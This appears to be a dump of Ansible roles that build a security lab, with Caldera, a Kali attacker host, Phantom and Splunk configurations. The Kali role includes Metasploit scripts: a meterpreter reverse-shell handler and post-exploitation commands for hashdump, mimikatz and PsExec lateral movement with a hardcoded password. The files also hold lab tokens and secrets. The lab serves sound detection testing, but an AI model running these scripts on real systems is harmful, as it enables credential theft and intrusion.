caldera_rootdir }}" 34 | update: false 35 | recursive: true 36 | version: "2.8.1" 37 | become: yes 38 | become_user: "{{ caldera_user }}" 39 | register: result 40 | 41 | - name: Copy local.yml configuration 42 | template: 43 | src: local.yml.j2 44 | dest: "{{ caldera_rootdir }}/conf/local.yml" 45 | 46 | - name: Install caldera pip requirements 47 | pip: 48 | requirements: "{{ caldera_rootdir }}/requirements.txt" 49 | virtualenv: "{{ caldera_home }}/env-caldera" 50 | virtualenv_python: "{{ python }}" 51 | register: pkg_result 52 | until: pkg_result is success 53 | 54 | - name: Identify other pip requirements 55 | find: 56 | paths: "{{ caldera_rootdir }}/plugins" 57 | patterns: 'requirements.txt' 58 | recurse: yes 59 | register: requirements 60 | 61 | - name: Install other pip requirements 62 | pip: 63 | requirements: "{{ item.path }}" 64 | virtualenv: "{{ caldera_home }}/env-caldera" 65 | virtualenv_python: "{{ python }}" 66 | register: pkg_result 67 | until: pkg_result is success 68 | loop: "{{ requirements.files }}" 69 | 70 | # - name: set http listener binding 71 | # lineinfile: 72 | # path: "{{ caldera_rootdir }}/conf/local.yml" 73 | # regexp: '^host:' 74 | # line: "host: 0.0.0.0" 75 | 76 | # - name: set admin user password 77 | # lineinfile: 78 | # path: "{{ caldera_rootdir }}/conf/local.yml" 79 | # regexp: 'admin:' 80 | # line: "admin: 0.0.0.0" 81 | 82 | # - name: add plugin to conf 83 | # lineinfile: 84 | # path: "{{ caldera_rootdir }}/conf/local.yml" 85 | # insertafter: 'plugins:' 86 | # line: " - {{ item }}" 87 | # with_items: "{{ plugins }}" 88 | -------------------------------------------------------------------------------- /ansible/roles/caldera/tasks/daemonize.yml: -------------------------------------------------------------------------------- 1 | --- 2 | - name: install systemd configuration 3 | template: 4 | src: systemd-caldera.service.j2 5 | dest: /lib/systemd/system/caldera.service 6 | mode: '0644' 7 | backup: yes 8 | register: systemd 9 | 10 | - name: reload systemd 11 | systemd: 12 | daemon_reload: yes 13 | name: caldera 14 | when: systemd.changed 15 | ignore_errors: true 16 | 17 | - name: enable and start caldera systemd service 18 | service: 19 | name: caldera 20 | enabled: yes 21 | state: 'started' 22 | ignore_errors: true 23 | -------------------------------------------------------------------------------- /ansible/roles/caldera/tasks/go.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Download the Go tarball 4 | get_url: 5 | url: "https://dl.google.com/go/go1.13.11.linux-amd64.tar.gz" 6 | dest: /usr/local/src/go1.13.11.linux-amd64.tar.gz 7 | 8 | - name: Extract the Go tarball if Go is not yet installed or not the desired version 9 | unarchive: 10 | src: /usr/local/src/go1.13.11.linux-amd64.tar.gz 11 | dest: /usr/local 12 | copy: no 13 | 14 | - name: Add the Go bin directory to the PATH environment variable for all users 15 | copy: 16 | src: go-bin.sh 17 | dest: /etc/profile.d 18 | 19 | - name: Set GOPATH for all users 20 | copy: 21 | src: go-path.sh 22 | dest: /etc/profile.d 23 | -------------------------------------------------------------------------------- /ansible/roles/caldera/tasks/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - include: go.yml 4 | - include: caldera.yml 5 | - include: daemonize.yml 6 | -------------------------------------------------------------------------------- /ansible/roles/caldera/templates/local.yml.j2: -------------------------------------------------------------------------------- 1 | ability_refresh: 60 2 | api_key_blue: {{ caldera_password }} 3 | api_key_red: {{ caldera_password }} 4 | app.contact.gist: API_KEY 5 | app.contact.html: /weather 6 | app.contact.http: http://0.0.0.0:8888 7 | app.contact.tcp: 0.0.0.0:7010 8 | app.contact.udp: 0.0.0.0:7011 9 | app.contact.websocket: 0.0.0.0:7012 10 | crypt_salt: adasldnb423adfmq92313 11 | encryption_key: {{ caldera_password }} 12 | exfil_dir: /tmp 13 | host: 0.0.0.0 14 | plugins: 15 | - access 16 | - atomic 17 | - compass 18 | - debrief 19 | - fieldmanual 20 | - gameboard 21 | - manx 22 | - response 23 | - sandcat 24 | - stockpile 25 | - training 26 | port: 8888 27 | reports_dir: /tmp 28 | requirements: 29 | go: 30 | command: go version 31 | type: installed_program 32 | version: 1.11 33 | python: 34 | attr: version 35 | module: sys 36 | type: python_module 37 | version: 3.6.1 38 | users: 39 | blue: 40 | blue: {{ caldera_password }} 41 | red: 42 | admin: {{ caldera_password }} 43 | red: {{ caldera_password }} 44 | -------------------------------------------------------------------------------- /ansible/roles/caldera/templates/systemd-caldera.service.j2: -------------------------------------------------------------------------------- 1 | {{ ansible_managed | comment }} 2 | [Unit] 3 | Description=MITRE Caldera automated adversary emulation system 4 | After=network.target 5 | 6 | [Service] 7 | Type=simple 8 | ExecStart={{ caldera_home }}/env-caldera/bin/python {{ caldera_rootdir }}/server.py -E local 9 | WorkingDirectory={{ caldera_rootdir }} 10 | Restart=always 11 | RestartSec=10 12 | StandardOutput=syslog 13 | SyslogIdentifier=caldera 14 | User=root 15 | Group=nogroup 16 | PrivateTmp=true 17 | KillSignal=SIGINT 18 | 19 | [Install] 20 | WantedBy=multi-user.target 21 | -------------------------------------------------------------------------------- /ansible/roles/caldera/vars/main.yml: -------------------------------------------------------------------------------- 1 | 2 | #caldera_version: d0df0a9349197c17e1a8a0a461597b1cd244e742 3 | caldera_user: caldera 4 | caldera_home: /var/_caldera 5 | caldera_rootdir: /var/_caldera/caldera 6 | 7 | caldera_pkg: 8 | - python3 9 | - python3-dev 10 | - python3-pip 11 | - python3-virtualenv 12 | - python-virtualenv 13 | - git-core 14 | - libffi-dev 15 | - libssl-dev 16 | - acl 17 | - haproxy 18 | 19 | python: python3 20 | -------------------------------------------------------------------------------- /ansible/roles/kali_linux/files/PsExec64.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/splunk/attack_range_local/77113235f5394552ce2a79b622889675bfc2dbbf/ansible/roles/kali_linux/files/PsExec64.exe -------------------------------------------------------------------------------- /ansible/roles/kali_linux/files/attack.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=Attack Demo Service 3 | After=multi-user.target 4 | Conflicts=getty@tty1.service 5 | 6 | [Service] 7 | Type=simple 8 | ExecStart=/usr/bin/python3 /var/www/run_metasploit.py 9 | Restart=on-failure 10 | 11 | [Install] 12 | WantedBy=multi-user.target 13 | -------------------------------------------------------------------------------- /ansible/roles/kali_linux/files/commands.rc: -------------------------------------------------------------------------------- 1 | sysinfo 2 | getuid 3 | getenv 4 | localtime 5 | ipconfig 6 | arp 7 | netstat 8 | run post/windows/gather/checkvm 9 | run post/windows/gather/enum_applications 10 | run post/windows/gather/enum_logged_on_users 11 | getsytem 12 | hashdump 13 | load mimikatz 14 | msv 15 | upload /var/www/PsExec64.exe C:/Users/Administrator/Downloads 16 | load powershell 17 | powershell_execute "C:/Users/Administrator/Downloads/PsExec64.exe \\\\10.0.1.4 -u Administrator -p I-l1ke-Attack-Range! -accepteula cmd /c copy \\\\10.0.1.5\\evil\\puttyX.exe C:\\puttyX.exe " 18 | download C:/Users/Administrator/Downloads/PsExec64.exe /tmp/PsExec64.exe 19 | quit 20 | -------------------------------------------------------------------------------- /ansible/roles/kali_linux/files/meterpreter.rc: -------------------------------------------------------------------------------- 1 | use exploit/multi/handler 2 | set payload windows/x64/meterpreter_reverse_http 3 | set lhost 10.0.1.6 4 | set lport 4444 5 | set AutoRunScript /var/www/commands.rc 6 | exploit 7 | -------------------------------------------------------------------------------- /ansible/roles/kali_linux/files/run_metasploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import sys 4 | import subprocess 5 | import os 6 | import time 7 | 8 | def main(argv): 9 | 10 | process = startProcess() 11 | 12 | while True: 13 | process = stopProcess(process) 14 | checkProcess(process) 15 | 16 | 17 | def startProcess(): 18 | process = subprocess.Popen(['msfconsole', '-r', '/var/www/meterpreter.rc'], 19 | stdout=subprocess.PIPE, 20 | universal_newlines=True) 21 | 22 | return process 23 | 24 | 25 | def checkProcess(process): 26 | try: 27 | output = process.stdout.readline() 28 | print(output.strip()) 29 | except KeyboardInterrupt: 30 | try: 31 | process.terminate() 32 | except OSError: 33 | pass 34 | 35 | 36 | def stopProcess(process): 37 | if os.path.isfile('/tmp/PsExec64.exe'): 38 | os.remove('/tmp/PsExec64.exe') 39 | time.sleep(10) 40 | process.terminate() 41 | process = subprocess.Popen(['msfconsole', '-r', '/var/www/meterpreter.rc'], 42 | stdout=subprocess.PIPE, 43 | universal_newlines=True) 44 | return process 45 | 46 | 47 | if __name__ == "__main__": 48 | main(sys.argv) 49 | -------------------------------------------------------------------------------- /ansible/roles/kali_linux/tasks/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | 4 | - include: setup.yml 5 | when: 6 | - run_demo == "1" 7 | - demo_scenario == "mission_control_malicious_putty" 8 | -------------------------------------------------------------------------------- /ansible/roles/kali_linux/tasks/setup.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: copy commands.rc to kali linux 4 | copy: 5 | src: commands.rc 6 | dest: /var/www/commands.rc 7 | 8 | - name: copy meterpreter.rc to kali linux 9 | copy: 10 | src: meterpreter.rc 11 | dest: /var/www/meterpreter.rc 12 | 13 | - name: copy meterpreter.rc to kali linux 14 | copy: 15 | src: meterpreter.rc 16 | dest: /var/www/meterpreter.rc 17 | 18 | - name: copy PsExec64.exe to kali linux 19 | copy: 20 | src: PsExec64.exe 21 | dest: /var/www/PsExec64.exe 22 | 23 | - name: copy run_metasploit.py to kali linux 24 | copy: 25 | src: run_metasploit.py 26 | dest: /var/www/run_metasploit.py 27 | 28 | - name: Make run_metasploit.py executable 29 | command: chmod +x /var/www/run_metasploit.py 30 | 31 | - name: copy attack.service to kali linux 32 | copy: 33 | src: attack.service 34 | dest: /etc/systemd/system/attack.service 35 | mode: '0644' 36 | become: yes 37 | 38 | - name: setup metasploit database 39 | command: service postgresql start 40 | become: yes 41 | 42 | - name: setup metasploit service 43 | command: msfdb init 44 | become: yes 45 | 46 | - name: reload systemctl 47 | command: systemctl daemon-reload 48 | become: yes 49 | 50 | - name: enable attack 51 | command: systemctl enable attack.service 52 | become: yes 53 | 54 | - name: enable attack 55 | command: systemctl start attack.service 56 | become: yes 57 | -------------------------------------------------------------------------------- /ansible/roles/linux_common/tasks/disable-dnssec.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Create resolved.conf.d 4 | file: 5 | path: /etc/systemd/resolved.conf.d 6 | state: directory 7 | owner: root 8 | group: root 9 | mode: 0755 10 | 11 | - name: Disable DNSSEC 12 | template: 13 | src: disable-dnssec.conf.j2 14 | dest: /etc/systemd/resolved.conf.d/disable-dnssec.conf 15 | owner: root 16 | group: root 17 | mode: 0644 18 | 19 | - name: Restart systemd-resolved 20 | service: 21 | name: systemd-resolved 22 | state: restarted 23 | -------------------------------------------------------------------------------- /ansible/roles/linux_common/tasks/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | - include: set-hostname.yml 3 | - include: disable-dnssec.yml 4 | -------------------------------------------------------------------------------- /ansible/roles/linux_common/tasks/set-hostname.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Change the hostname 4 | hostname: 5 | name: "{{ hostname }}-{{ 9999999 | random }}" 6 | -------------------------------------------------------------------------------- /ansible/roles/linux_common/templates/disable-dnssec.conf.j2: -------------------------------------------------------------------------------- 1 | # {{ ansible_managed }} 2 | [Resolve] 3 | DNSSEC=false 4 | -------------------------------------------------------------------------------- /ansible/roles/phantom/README.md: -------------------------------------------------------------------------------- 1 | Role Name 2 | ======== 3 | 4 | Bootstrap a Phantom server from a fresh CentOS image. 5 | 6 | Requirements 7 | ------------ 8 | 9 | You need a free account on my.phantom.us to download the community edition. Establish a username (email address) and password on that site, then copy them into attack\_range.conf. Otherwise there are no additional requirements compared to other Attack Range components. 10 | 11 | Role Variables 12 | -------------- 13 | 14 | This role receives all of its configuration variables from attack\_range.conf like other Attack Range components 15 | 16 | Dependencies 17 | ------------ 18 | 19 | License 20 | ------- 21 | 22 | Apache License 2.0 23 | 24 | Author Information 25 | ------------------ 26 | 27 | Phil Royer 28 | -------------------------------------------------------------------------------- /ansible/roles/phantom/tasks/configure_phantom.yml: -------------------------------------------------------------------------------- 1 | --- 2 | # Configure phantom with credentials, apps, assets, and so on... 3 | 4 | - name: change phantom admin password 5 | uri: 6 | url: https://127.0.0.1/rest/user_settings 7 | method: POST 8 | user: admin 9 | password: password 10 | body: {"old_password":"password","password":"{{phantom_admin_password}}"} 11 | body_format: json 12 | force_basic_auth: yes 13 | validate_certs: no 14 | 15 | - name: fetch phantom api token 16 | uri: 17 | url: https://127.0.0.1/rest/ph_user/2/token 18 | method: GET 19 | user: admin 20 | password: "{{phantom_admin_password}}" 21 | force_basic_auth: yes 22 | validate_certs: no 23 | register: api_token 24 | 25 | - name: display phantom api token 26 | debug: 27 | msg: "phantom api token is {{api_token.json.key}}" 28 | 29 | - name: open up api allowed ip list 30 | uri: 31 | url: https://127.0.0.1/rest/ph_user/2 32 | method: POST 33 | body: '{"allowed_ips":["any"]}' 34 | user: admin 35 | password: "{{phantom_admin_password}}" 36 | force_basic_auth: yes 37 | validate_certs: no 38 | 39 | - name: test api token 40 | uri: 41 | url: https://127.0.0.1/rest/container 42 | method: GET 43 | return_content: yes 44 | headers: 45 | ph-auth-token: "{{api_token.json.key}}" 46 | validate_certs: no 47 | 48 | # install a list of apps using RPMs. URL's can be found at https://repo.phantom.us/phantom/4.8/apps/x86_64/ 49 | 50 | - name: install whois app 51 | yum: 52 | name: http://repo.phantom.us/phantom/4.8/apps/x86_64/phantom_whois-1.2.41.x86_64.rpm 53 | state: present 54 | 55 | - name: install maxmind app 56 | yum: 57 | name: https://repo.phantom.us/phantom/4.8/apps/x86_64/phantom_maxmind-2.0.3.x86_64.rpm 58 | state: present 59 | 60 | - name: install dns app 61 | yum: 62 | name: https://repo.phantom.us/phantom/4.8/apps/x86_64/phantom_dns-1.3.32.x86_64.rpm 63 | state: present 64 | 65 | - name: install phishtank app 66 | yum: 67 | name: https://repo.phantom.us/phantom/4.8/apps/x86_64/phantom_phishtank-1.0.21.x86_64.rpm 68 | state: present 69 | 70 | - name: install splunk app 71 | yum: 72 | name: https://repo.phantom.us/phantom/4.8/apps/x86_64/phantom_splunk-1.3.41.x86_64.rpm 73 | state: present 74 | 75 | - name: install winrm app 76 | yum: 77 | name: https://repo.phantom.us/phantom/4.8/apps/x86_64/phantom_winrm-1.0.19.x86_64.rpm 78 | state: present 79 | 80 | # template to install more apps 81 | #- name: install <> app 82 | # yum: 83 | # name: 84 | # state: present 85 | -------------------------------------------------------------------------------- /ansible/roles/phantom/tasks/install_phantom.yml: -------------------------------------------------------------------------------- 1 | --- 2 | # Install Phantom from RPM on a fresh CentOS 7 instance 3 | 4 | - name: check if phantom is installed 5 | stat: path=/opt/phantom 6 | register: phantom_path 7 | 8 | - name: debug print if phantom is installed 9 | debug: msg='phantom is already installed under /opt/phantom' 10 | when: phantom_path.stat.exists 11 | 12 | - name: install the nginx dependency 13 | yum: 14 | name: https://repo.phantom.us/phantom/4.8/base/7/x86_64/nginx-1.17.7-1.el7.ngx.x86_64.rpm 15 | state: present 16 | 17 | - name: install the phantom setup rpm from the community repository 18 | yum: 19 | name: https://repo.phantom.us/phantom/4.8/base/7/x86_64/phantom_repo-4.8.23319-1.x86_64.rpm 20 | state: present 21 | 22 | # installing apps takes 15+ minutes longer, so later we will install just the apps we need 23 | - name: run the phantom install script without apps 24 | shell: printf "{{phantom_community_username}}\n{{phantom_community_password}}\n" | /opt/phantom/bin/phantom_setup.sh install --no-prompt --without-apps 25 | async: 600 26 | poll: 60 27 | -------------------------------------------------------------------------------- /ansible/roles/phantom/tasks/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | # This playbook contains common tasks in this role 3 | 4 | - include: install_phantom.yml 5 | - include: configure_phantom.yml 6 | -------------------------------------------------------------------------------- /ansible/roles/search_head/README.md: -------------------------------------------------------------------------------- 1 | Role Name 2 | ======== 3 | 4 | A brief description of the role goes here. 5 | 6 | Requirements 7 | ------------ 8 | 9 | Any pre-requisites that may not be covered by Ansible itself or the role should be mentioned here. For instance, if the role uses the EC2 module, it may be a good idea to mention in this section that the boto package is required. 10 | 11 | Role Variables 12 | -------------- 13 | 14 | A description of the settable variables for this role should go here, including any variables that are in defaults/main.yml, vars/main.yml, and any variables that can/should be set via parameters to the role. Any variables that are read from other roles and/or the global scope (ie. hostvars, group vars, etc.) should be mentioned here as well. 15 | 16 | Dependencies 17 | ------------ 18 | 19 | A list of other roles hosted on Galaxy should go here, plus any details in regards to parameters that may need to be set for other roles, or variables that are used from other roles. 20 | 21 | Example Playbook 22 | ------------------------- 23 | 24 | Including an example of how to use your role (for instance, with variables passed in as parameters) is always nice for users too: 25 | 26 | - hosts: servers 27 | roles: 28 | - { role: username.rolename, x: 42 } 29 | 30 | License 31 | ------- 32 | 33 | BSD 34 | 35 | Author Information 36 | ------------------ 37 | 38 | An optional section for the role authors to include contact information, or a website (HTML is not allowed). 39 | -------------------------------------------------------------------------------- /ansible/roles/search_head/files/authorize.conf: -------------------------------------------------------------------------------- 1 | [role_admin] 2 | grantableRoles = admin 3 | srchIndexesDefault = attack;dns;fw;mail;main;proxy;unix;win 4 | srchMaxTime = 8640000 5 | -------------------------------------------------------------------------------- /ansible/roles/search_head/files/hec_inputs.conf: -------------------------------------------------------------------------------- 1 | [http] 2 | disabled = 0 3 | 4 | [http://k8stoken] 5 | description = Token for Kubernetes 6 | disabled = 0 7 | token = 1b0bb9cc-e884-4ae0-b3fa-9062f200b328 8 | index = kubernetes 9 | indexes = kubernetes,kubernetes-metrics 10 | -------------------------------------------------------------------------------- /ansible/roles/search_head/files/indexes.conf: -------------------------------------------------------------------------------- 1 | [default] 2 | # Without repFactor = auto (or a number, dictating the number of copies), 3 | # indexes won't be replicated from one peer to another. This setting applies 4 | # a global setting of "auto". Without this, the default repFactor is zero (0). 5 | repFactor = auto 6 | # Default for each index. Can be overridden per index based upon the volume of data received by that index. 7 | # 300GB 8 | #homePath.maxDataSizeMB = 300000 9 | # 200GB 10 | #coldPath.maxDataSizeMB = 200000 11 | 12 | # Retention Time 1 year 13 | frozenTimePeriodInSecs = 31536000 14 | 15 | # VOLUME SETTINGS 16 | # One Volume for Hot and Cold 17 | [volume:primary] 18 | path = /opt/splunk/var/lib/splunk 19 | # 1000GB 20 | maxVolumeDataSizeMB = 20000 21 | 22 | # Two volumes for a "tiered storage" solution--fast and slow disk. 23 | # [volume:home] 24 | # path = /path/to/fast/disk 25 | # maxVolumeDataSizeMB = 256000 26 | # 27 | # Longer term storage on slower disk. 28 | #[volume:cold] 29 | #path = /opt/splunk/var/lib/splunk 30 | # 5TB with some headroom leftover (data summaries, etc) 31 | #maxVolumeDataSizeMB = 4600000 32 | 33 | # SPLUNK INDEXES 34 | # Note, many of these use historical directory names which don't match the 35 | # name of the index. A common mistake is to automatically generate a new 36 | # indexes.conf from the existing names, thereby "losing" (hiding from Splunk) 37 | # the existing data. 38 | [main] 39 | homePath = volume:primary/defaultdb/db 40 | coldPath = volume:primary/defaultdb/colddb 41 | thawedPath = $SPLUNK_DB/defaultdb/thaweddb 42 | 43 | [history] 44 | homePath = volume:primary/historydb/db 45 | coldPath = volume:primary/historydb/colddb 46 | thawedPath = $SPLUNK_DB/historydb/thaweddb 47 | 48 | [summary] 49 | homePath = volume:primary/summarydb/db 50 | coldPath = volume:primary/summarydb/colddb 51 | thawedPath = $SPLUNK_DB/summarydb/thaweddb 52 | 53 | [_internal] 54 | homePath = volume:primary/_internaldb/db 55 | coldPath = volume:primary/_internaldb/colddb 56 | thawedPath = $SPLUNK_DB/_internaldb/thaweddb 57 | 58 | # For version 6.1 and higher 59 | [_introspection] 60 | homePath = volume:primary/_introspection/db 61 | coldPath = volume:primary/_introspection/colddb 62 | thawedPath = $SPLUNK_DB/_introspection/thaweddb 63 | 64 | # For version 6.5 and higher 65 | [_telemetry] 66 | homePath = volume:primary/_telemetry/db 67 | coldPath = volume:primary/_telemetry/colddb 68 | thawedPath = $SPLUNK_DB/_telemetry/thaweddb 69 | 70 | [_audit] 71 | homePath = volume:primary/audit/db 72 | coldPath = volume:primary/audit/colddb 73 | thawedPath = $SPLUNK_DB/audit/thaweddb 74 | 75 | [_thefishbucket] 76 | homePath = volume:primary/fishbucket/db 77 | coldPath = volume:primary/fishbucket/colddb 78 | thawedPath = $SPLUNK_DB/fishbucket/thaweddb 79 | 80 | 81 | # CUSTOM INDEXES 82 | 83 | [test] 84 | homePath = volume:primary/testdb/db 85 | coldPath = volume:primary/testdb/colddb 86 | thawedPath = $SPLUNK_DB/testdb/thaweddb 87 | frozenTimePeriodInSecs = 604800 88 | 89 | [network] 90 | homePath = volume:primary/networkdb/db 91 | coldPath = volume:primary/networkdb/colddb 92 | thawedPath = $SPLUNK_DB/networkdb/thaweddb 93 | 94 | [aws] 95 | homePath = volume:primary/awsdb/db 96 | coldPath = volume:primary/awsdb/colddb 97 | thawedPath = $SPLUNK_DB/awsdb/thaweddb 98 | 99 | [unix] 100 | homePath = volume:primary/unixdb/db 101 | coldPath = volume:primary/unixdb/colddb 102 | thawedPath = $SPLUNK_DB/unixdb/thaweddb 103 | 104 | [win] 105 | homePath = volume:primary/windb/db 106 | coldPath = volume:primary/windb/colddb 107 | thawedPath = $SPLUNK_DB/windb/thaweddb 108 | 109 | [fw] 110 | homePath = volume:primary/fwdb/db 111 | coldPath = volume:primary/fwdb/colddb 112 | thawedPath = $SPLUNK_DB/fwdb/thaweddb 113 | 114 | [dns] 115 | homePath = volume:primary/dnsdb/db 116 | coldPath = volume:primary/dnsdb/colddb 117 | thawedPath = $SPLUNK_DB/dnsdb/thaweddb 118 | 119 | [mail] 120 | homePath = volume:primary/maildb/db 121 | coldPath = volume:primary/maildb/colddb 122 | thawedPath = $SPLUNK_DB/maildb/thaweddb 123 | 124 | [kubernetes] 125 | homePath = volume:primary/kubernetesdb/db 126 | coldPath = volume:primary/kubernetesdb/colddb 127 | thawedPath = $SPLUNK_DB/kubernetesdb/thaweddb 128 | 129 | [kubernetes-metrics] 130 | homePath = volume:primary/kubernetesmetricsdb/db 131 | coldPath = volume:primary/kubernetesmetricsdb/colddb 132 | thawedPath = $SPLUNK_DB/kubernetesmetricsdb/thaweddb 133 | 134 | [proxy] 135 | homePath = volume:primary/proxydb/db 136 | coldPath = volume:primary/proxydb/colddb 137 | thawedPath = $SPLUNK_DB/proxydb/thaweddb 138 | 139 | [attack] 140 | homePath = volume:primary/attackdb/db 141 | coldPath = volume:primary/attackdb/colddb 142 | thawedPath = $SPLUNK_DB/attackdb/thaweddb 143 | -------------------------------------------------------------------------------- /ansible/roles/search_head/files/inputs.conf: -------------------------------------------------------------------------------- 1 | [default] 2 | host = splunk-server 3 | 4 | [splunktcp://9997] 5 | disabled = 0 6 | 7 | [monitor:///var/_caldera/caldera/logs] 8 | disabled = 0 9 | index = attack 10 | sourcetype = _json 11 | whitelist = \.json$ 12 | -------------------------------------------------------------------------------- /ansible/roles/search_head/files/limits.conf: -------------------------------------------------------------------------------- 1 | [restapi] 2 | maxresultsrow = 1000000 3 | 4 | [searchresults] 5 | maxresultsrow = 1000000 6 | 7 | [sample] 8 | maxsamples = 100000 9 | -------------------------------------------------------------------------------- /ansible/roles/search_head/files/macros.conf: -------------------------------------------------------------------------------- 1 | [sysmon] 2 | definition = source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" 3 | iseval = 0 4 | 5 | [known_bad_ips] 6 | definition = search dest_ip="10.0.1.6" -------------------------------------------------------------------------------- /ansible/roles/search_head/files/outputs.conf: -------------------------------------------------------------------------------- 1 | [tcpout] 2 | defaultGroup = noOutputGroup 3 | indexAndForward=true 4 | -------------------------------------------------------------------------------- /ansible/roles/search_head/files/proxy.conf: -------------------------------------------------------------------------------- 1 | [product_management] 2 | validate_cert = false 3 | -------------------------------------------------------------------------------- /ansible/roles/search_head/files/savedsearches.conf: -------------------------------------------------------------------------------- 1 | 2 | 3 | [ESCU - Network Connections to Known Malicious IPs - Rule] 4 | action.correlationsearch.enabled = 1 5 | action.correlationsearch.label = ESCU - Network Connections to Known Malicious IPs - Rule 6 | action.customsearchbuilder.enabled = false 7 | action.customsearchbuilder.spec = {} 8 | action.notable = 1 9 | action.notable.param.recommended_actions = send2mc_notable 10 | action.notable.param.rule_description = This search detects outbound network connections to known malicious IP address 11 | action.notable.param.rule_title = ESCU - Network Connections to Known Malicious IPs - Rule 12 | action.notable.param.security_domain = threat 13 | action.notable.param.severity = high 14 | action.notable.param.verbose = 0 15 | action.send2mc_notable = 1 16 | alert.suppress = 0 17 | alert.track = 1 18 | counttype = number of events 19 | cron_schedule = */5 * * * * 20 | description = This search detects outbound network connections to known malicious IP address 21 | dispatch.earliest_time = -24h 22 | dispatch.latest_time = now 23 | dispatch.rt_backfill = 1 24 | enableSched = 1 25 | quantity = 0 26 | relation = greater than 27 | request.ui_dispatch_app = SplunkEnterpriseSecuritySuite 28 | schedule_priority = highest 29 | schedule_window = auto 30 | search = | tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Network_Traffic by All_Traffic.src_ip All_Traffic.dest_ip All_Traffic.dest_port All_Traffic.action | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `drop_dm_object_name("All_Traffic")` | 31 | -------------------------------------------------------------------------------- /ansible/roles/search_head/files/savedsearches_DA-ESS-NetworkProtection.conf: -------------------------------------------------------------------------------- 1 | [Network - Traffic Bytes Tracker - Lookup Gen] 2 | action.keyindicator.invert = 0 3 | action.makestreams.param.verbose = 0 4 | action.nbtstat.param.verbose = 0 5 | action.notable.param.verbose = 0 6 | action.nslookup.param.verbose = 0 7 | action.ping.param.verbose = 0 8 | action.risk.param.verbose = 0 9 | action.send2uba.param.verbose = 0 10 | action.threat_add.param.verbose = 0 11 | alert.track = 0 12 | disabled = 1 13 | is_visible = 0 14 | 15 | [Network - URL Length Tracker - Lookup Gen] 16 | action.keyindicator.invert = 0 17 | action.makestreams.param.verbose = 0 18 | action.nbtstat.param.verbose = 0 19 | action.notable.param.verbose = 0 20 | action.nslookup.param.verbose = 0 21 | action.ping.param.verbose = 0 22 | action.risk.param.verbose = 0 23 | action.send2uba.param.verbose = 0 24 | action.threat_add.param.verbose = 0 25 | alert.track = 0 26 | disabled = 1 27 | is_visible = 0 28 | 29 | [Network - User Agent Length Tracker - Lookup Gen] 30 | action.keyindicator.invert = 0 31 | action.makestreams.param.verbose = 0 32 | action.nbtstat.param.verbose = 0 33 | action.notable.param.verbose = 0 34 | action.nslookup.param.verbose = 0 35 | action.ping.param.verbose = 0 36 | action.risk.param.verbose = 0 37 | action.send2uba.param.verbose = 0 38 | action.threat_add.param.verbose = 0 39 | alert.track = 0 40 | disabled = 1 41 | is_visible = 0 42 | 43 | [Network - Whois Tracker - Lookup Gen] 44 | action.keyindicator.invert = 0 45 | action.makestreams.param.verbose = 0 46 | action.nbtstat.param.verbose = 0 47 | action.notable.param.verbose = 0 48 | action.nslookup.param.verbose = 0 49 | action.ping.param.verbose = 0 50 | action.risk.param.verbose = 0 51 | action.send2uba.param.verbose = 0 52 | action.threat_add.param.verbose = 0 53 | alert.track = 0 54 | disabled = 1 55 | is_visible = 0 56 | 57 | [Network - Vulnerability Tracker - Lookup Gen] 58 | action.keyindicator.invert = 0 59 | action.makestreams.param.verbose = 0 60 | action.nbtstat.param.verbose = 0 61 | action.notable.param.verbose = 0 62 | action.nslookup.param.verbose = 0 63 | action.ping.param.verbose = 0 64 | action.risk.param.verbose = 0 65 | action.send2uba.param.verbose = 0 66 | action.threat_add.param.verbose = 0 67 | alert.track = 0 68 | disabled = 1 69 | enableSched = 1 70 | is_visible = 0 71 | 72 | [Network - Whois Tracker - Checkpoint Gen] 73 | action.keyindicator.invert = 0 74 | action.makestreams.param.verbose = 0 75 | action.nbtstat.param.verbose = 0 76 | action.notable.param.verbose = 0 77 | action.nslookup.param.verbose = 0 78 | action.ping.param.verbose = 0 79 | action.risk.param.verbose = 0 80 | action.send2uba.param.verbose = 0 81 | action.threat_add.param.verbose = 0 82 | alert.track = 0 83 | disabled = 1 84 | is_visible = 0 85 | -------------------------------------------------------------------------------- /ansible/roles/search_head/files/savedsearches_SA-AccessProtection.conf: -------------------------------------------------------------------------------- 1 | [Access - Authentication Failures By Source Per Day - Context Gen] 2 | action.keyindicator.invert = 0 3 | action.makestreams.param.verbose = 0 4 | action.nbtstat.param.verbose = 0 5 | action.notable.param.verbose = 0 6 | action.nslookup.param.verbose = 0 7 | action.ping.param.verbose = 0 8 | action.risk.param.verbose = 0 9 | action.send2uba.param.verbose = 0 10 | action.threat_add.param.verbose = 0 11 | alert.track = 0 12 | disabled = 1 13 | is_visible = 0 14 | 15 | [Access - Authentication Volume Per Day - Context Gen] 16 | action.keyindicator.invert = 0 17 | action.makestreams.param.verbose = 0 18 | action.nbtstat.param.verbose = 0 19 | action.notable.param.verbose = 0 20 | action.nslookup.param.verbose = 0 21 | action.ping.param.verbose = 0 22 | action.risk.param.verbose = 0 23 | action.send2uba.param.verbose = 0 24 | action.threat_add.param.verbose = 0 25 | alert.track = 0 26 | disabled = 1 27 | is_visible = 0 28 | 29 | [Access - Authentication Failures By Source - Context Gen] 30 | action.keyindicator.invert = 0 31 | action.makestreams.param.verbose = 0 32 | action.nbtstat.param.verbose = 0 33 | action.notable.param.verbose = 0 34 | action.nslookup.param.verbose = 0 35 | action.ping.param.verbose = 0 36 | action.risk.param.verbose = 0 37 | action.send2uba.param.verbose = 0 38 | action.threat_add.param.verbose = 0 39 | alert.track = 0 40 | disabled = 1 41 | is_visible = 0 42 | 43 | [Access - Authentication Tracker - Lookup Gen] 44 | action.keyindicator.invert = 0 45 | action.makestreams.param.verbose = 0 46 | action.nbtstat.param.verbose = 0 47 | 